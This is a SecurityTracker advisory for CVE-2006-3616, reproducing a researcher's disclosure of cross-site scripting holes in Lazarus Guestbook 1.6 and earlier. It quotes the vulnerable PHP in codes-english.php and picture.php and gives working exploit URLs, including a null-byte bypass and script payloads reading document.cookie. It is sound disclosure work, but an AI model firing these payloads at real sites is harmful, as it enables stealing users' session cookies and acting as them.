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Category:   Application (Generic)  >   Lazarus Guestbook Vendors:   carbonize.co.uk
Lazarus Guestbook Input Validation Holes Permit Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1016486
SecurityTracker URL:  http://securitytracker.com/id/1016486
CVE Reference:   CVE-2006-3616   (Links to External Site)
Updated:  Jul 18 2008
Original Entry Date:  Jul 13 2006
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 1.6 and prior versions
Description:   A vulnerability was reported in Lazarus Guestbook. A remote user can conduct cross-site scripting attacks.

The 'codes-english.php' script does not properly filter HTML code from user-supplied input in the 'show' parameter before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Lazarus Guestbook software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A similar vulnerability exists in 'picture.php'. A demonstration exploit URL is provided:

http://[target]/lazarusgb/picture.php?img=../img/home.gif%00%22%3E[XSS]

simo64[at]gmail[dot]com from Moroccan Security Research Team reported this vulnerability.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Lazarus Guestbook software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  carbonize.co.uk/Lazarus/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Lazarus Guestbook Cross Site Scripting Vulnerabilities

Produce : Lazarus Guestbook

Website : http://carbonize.co.uk/Lazarus/

Version : <= 1.6

Problem : Cross Site Scripting


1) 

The first probleme is in codes-english.php ,"show" parameter in lang/codes-english.php isn't properly sanitised

This can be exploited to execute arbitrary HTML and javascript code


 Vulnerable code in  lang/codes-english.php near line 4


1  <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

2  <html>

3  <head>

4  <title><?php echo($_GET['show']); ?></title> 


Exploit : 


http://localhost/lazarusgb/lang/codes-english.php?show=%3C/title%3E[XSS]

http://localhost/lazarusgb/lang/codes-english.php?show=%3C/title%3E<script>alert(document.cookie);</script>



2)

the seconde probleme is in picture.php , the script verifiy fist if image file exists

after it display it ,


vulnerable code : in picture.php

********************************


24  if (!empty($_GET['img'])) {

26      if (file_exists("$GB_TMP/$_GET[img]")) {

27          $size = @GetImageSize("$GB_TMP/$_GET[img]");

28          $picture = "$GB_PG[base_url]/$GB_TMP/$_GET[img]";

29      }

..      ............

49      <td align="center" valign="middle">

50      <?php

51        if (!empty($_GET['img']) && is_array($size)) {

52            echo "<a href=\"javascript:window.close()\"><img src=\"$picture\" width=\"$size[0]\" height=\"$size[1]\" border=\"0\"></a>\n";

53        }

54    ?>

55    </td>    

    

****************

    if magic_quote_gpc = OFF we can bypass this protection by specifing existing image file ( Exemple : "img/home.gif") and using
 a nullchar ( %00 )

    

    POC : http://localhost/lazarusgb/picture.php?img=../img/home.gif%00[code]

    

    file_exists("$GB_TMP/$_GET[img]") will return true and html code will be executed

    

    Exploit: 

    

    http://localhost/lazarusgb/picture.php?img=../img/home.gif%00%22%3E[XSS]

    http://localhost/lazarusgb/picture.php?img=../img/home.gif%00%22%3E<script>alert(document.cookie);</script>

    

Contact : simo64[at]gmail[dot]com

Moroccan Security Research Team

 
 


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